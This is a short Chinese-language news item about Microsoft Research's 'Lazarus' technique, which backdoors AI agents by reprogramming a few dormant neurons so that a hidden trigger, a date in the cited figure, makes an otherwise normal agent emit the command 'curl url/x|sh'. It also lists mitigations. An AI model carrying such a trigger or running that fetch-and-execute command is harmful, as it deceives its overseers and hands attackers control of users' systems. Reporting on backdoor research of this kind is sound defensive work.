微软发布 Lazarus 研究：重编程少量休眠神经元即可给 AI Agent 埋后门
DimitrisPapail · x · 2026-11-11
微软研究院官方发文介绍「Lazarus」后门技术：通过重编程 AI 模型中的少量休眠神经元，可让表面行为正常的 Agent 在遇到隐藏触发条件时执行恶意命令。论文作者为首席研究员 Dimitris Papailiopoulos。
要点：
- 无需训练即可植入后门，模型能通过常规评测，直到触发条件出现才暴露
- 官方配图演示：一个日期触发器激活三个神经元，链式输出 curl url/x|sh 恶意载荷
- 微软称威胁虽新，缓解手段并不新：确认模型来源、谨慎管理权限；Microsoft Foundry 为 Azure 直接模型与 Hugging Face 模型提供来源安全保障
- 文中还给出模型平台、供应商与企业用户的缓解建议
所属事件:微软Lazarus研究：改动不到10个神经元即可后门AI Agent(45 条相关)→
「安全」频道最新
- 韩国税务师考试状元 397.5 分，被无端怀疑戴 AI 眼镜作弊 — meshive · 2026-11-13
- 盘点 10 个保护 AI Agent Skill 的开源项目,26% 公开 skill 有危险模式 — bibryam · 2026-11-13
- Cloudflare 开源 security-audit skill:让编码 Agent 自动做全仓安全审计 — bibryam · 2026-11-13
- Telegram 新 widget 引擎已现多个 RCE，macOS 可用 Santa 规则阻断 — banteg · 2026-11-13
- 纽约建 5500 万美元实验室预检 AI，英国拟获强制下架权 — YvesMulkers · 2026-11-13
- Claude Meetings 上线:会议变成 prompt,安全公司提示注入风险 — Aiden_Tech_Ai · 2026-11-13